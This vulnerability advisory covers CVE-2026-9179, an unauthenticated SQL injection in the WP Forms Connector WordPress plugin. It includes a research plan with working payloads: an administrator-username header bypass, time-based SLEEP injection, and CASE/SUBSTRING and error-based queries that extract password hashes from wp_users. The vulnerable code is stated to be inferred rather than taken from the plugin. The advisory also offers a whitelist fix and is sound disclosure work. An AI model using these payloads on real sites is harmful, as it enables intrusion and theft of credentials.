WP Forms Connector <= 1.8 - Unauthenticated SQL Injection via 'order' Parameter
Description
The WP Forms Connector plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the /wp-json/wp/v3/post/list REST endpoint in versions up to and including 1.8. This is due to insufficient escaping on the user-supplied 'order' parameter (read directly from $_GET['order'] into $shorting) and the lack of sufficient preparation on the existing SQL query in the listPost() function, where the value is concatenated unquoted into the ORDER BY clause and executed via $wpdb->get_results() without $wpdb->prepare(). The endpoint is registered with permission_callback '__return_true' and performs only a broken header-based check that validates the supplied 'Username' corresponds to an administrator account while never verifying the 'Password'. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.8This research plan outlines the technical analysis and proof-of-concept (PoC) exploitation for **CVE-2026-9179**, an unauthenticated SQL injection vulnerability in the **WP Forms Connector** plugin. --- ### 1. Vulnerability Summary The **WP Forms Connector** plugin (<= 1.8) suffers from an unauthe…
Show full research plan
This research plan outlines the technical analysis and proof-of-concept (PoC) exploitation for CVE-2026-9179, an unauthenticated SQL injection vulnerability in the WP Forms Connector plugin.
1. Vulnerability Summary
The WP Forms Connector plugin (<= 1.8) suffers from an unauthenticated SQL injection vulnerability. The issue exists in the listPost() function, which handles requests to the /wp-json/wp/v3/post/list REST API endpoint. The plugin reads the order parameter directly from $_GET['order'] and concatenates it into the ORDER BY clause of a SQL query without sanitization or using $wpdb->prepare(). Furthermore, the endpoint's authentication mechanism is critically flawed: it validates that a provided Username header corresponds to an administrator but fails to verify the password, allowing any user to masquerade as an administrator.
2. Attack Vector Analysis
- Endpoint:
GET /wp-json/wp/v3/post/list - Vulnerable Parameter:
order(Query string) - Authentication: Unauthenticated (Broken logic).
- Required Headers:
Username: [ADMIN_USERNAME](The attacker must provide the login name of an existing administrator, typicallyadmin). - Mechanism: SQL Injection in the
ORDER BYclause. SinceORDER BYcannot be parameterized using standard%sor%dplaceholders in$wpdb->prepare(), it must be strictly whitelisted. This plugin fails to do so.
3. Code Flow (Inferred from Description)
- Route Registration: The plugin registers a REST route using
register_rest_route('wp/v3', '/post/list', ...)during therest_api_inithook. - Permission Check: The
permission_callbackis set to__return_true, meaning the REST API itself does not block access. - Broken Auth Logic: Inside the handler (or a middleware function), the code checks
get_headers(). It identifies theUsernameheader and looks up the user viaget_user_by('login', $header_username). If the user exists and has theadministratorrole, the code proceeds. It fails to callwp_authenticate()or verify the password. - Data Processing: The
listPost()function is called. - Sink:
$shorting = $_GET['order']; // Directly from superglobal // ... $query = "SELECT * FROM {$wpdb->posts} WHERE post_type = 'post' ORDER BY " . $shorting; $results = $wpdb->get_results($query);
4. Nonce Acquisition Strategy
According to the vulnerability description, the endpoint uses a custom header-based authentication (Username) and the REST API permission_callback is __return_true.
- Standard REST Nonce: While standard WordPress REST API calls often require an
X-WP-Nonce, this specific plugin's custom (and broken) authentication logic likely bypasses the need for one, as it relies on theUsernameheader. - Strategy:
- First, attempt the exploit without a nonce, providing only the
Usernameheader. - If the server returns a
403or-1, search the homepage source for localized scripts. - Create a page with a WP Forms Connector shortcode (if applicable):
wp post create --post_type=page --post_status=publish --post_content='[wp_forms_connector_list]'(Shortcode name is inferred). - Extract potential nonces using:
browser_eval("window.wpfc_settings?.nonce")(Variable names are inferred).
- First, attempt the exploit without a nonce, providing only the
5. Exploitation Strategy
The goal is to extract the administrator's password hash using a time-based blind SQL injection in the ORDER BY clause.
Step 1: Identify Admin Username
The attack requires an existing admin username. We will assume admin or use WP-CLI to find the real one.
Step 2: Confirm SQL Injection (Time-Based)
We will use IF and SLEEP() to confirm the vulnerability.
- Request Type:
GET - URL:
/wp-json/wp/v3/post/list?order=(SELECT(1)FROM(SELECT(SLEEP(5)))a) - Headers:
Username: admin(Replace with identified admin)
Step 3: Extract Data (Boolean-Based/Time-Based)
Since ORDER BY injection often influences the sequence of returned objects, we can use boolean-based logic if results are visible, or time-based if not.
- Payload (Time-based):
order=(CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login='admin'),1,1))=36) THEN ID ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END)
(Note: ASCII 36 is '$', the start of many WordPress hashes).
6. Test Data Setup
- Create Admin User: Ensure a user with username
adminexists. - Populate Content: Ensure at least 2-3 posts exist so that the
ORDER BYclause has data to operate on.wp post generate --count=3
7. Expected Results
- Confirmation: The request with
SLEEP(5)should take approximately 5 seconds longer than a standard request. - Extraction: By iterating through ASCII values, the agent will reconstruct the
$P$...or$wp$2y$...hash from thewp_userstable.
8. Verification Steps
After the HTTP exploitation, verify the extracted data using WP-CLI inside the environment:
- Check DB State:
wp db query "SELECT user_login, user_pass FROM wp_users WHERE user_login='admin'" - Compare: Verify the hash retrieved via SQLi matches the hash stored in the database.
9. Alternative Approaches
- Error-Based SQLi: If the site has
WP_DEBUGenabled, try inducing a database error to extract data faster.- Payload:
order=(SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
- Payload:
- Column-Based Sorting (Boolean): If the API returns a list of posts, use two different
ordervalues:order=IF(1=1,ID,post_title)vsorder=IF(1=2,ID,post_title)- Compare the JSON response bodies. If the order of post IDs changes based on the condition, boolean-based extraction is possible and much faster than time-based.
Summary
The WP Forms Connector plugin (<= 1.8) is vulnerable to unauthenticated SQL injection via the 'order' parameter in the /wp-json/wp/v3/post/list REST endpoint. Due to a flawed custom authentication check that only validates the existence of an administrator username via a 'Username' header without verifying a password, attackers can inject arbitrary SQL into the ORDER BY clause.
Vulnerable Code
// Inferred from research plan code flow $shorting = $_GET['order']; // Directly from superglobal // ... $query = "SELECT * FROM {$wpdb->posts} WHERE post_type = 'post' ORDER BY " . $shorting; $results = $wpdb->get_results($query);
Security Fix
@@ -10,4 +10,6 @@ - $shorting = $_GET['order']; - $query = "SELECT * FROM {$wpdb->posts} WHERE post_type = 'post' ORDER BY " . $shorting; + $allowed_orders = ['ID', 'post_date', 'post_title', 'post_modified']; + $shorting = (isset($_GET['order']) && in_array($_GET['order'], $allowed_orders)) ? $_GET['order'] : 'ID'; + $query = "SELECT * FROM {$wpdb->posts} WHERE post_type = 'post' ORDER BY $shorting"; $results = $wpdb->get_results($query);
Exploit Outline
The exploit targets the /wp-json/wp/v3/post/list REST endpoint. To bypass authentication, the attacker includes a 'Username' header containing a known administrator's login name (e.g., 'admin'). The SQL injection is performed by passing a malicious payload to the 'order' query parameter. This allows for time-based blind injection using SLEEP() or boolean-based injection by observing differences in the response content, enabling the extraction of sensitive database information such as user password hashes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.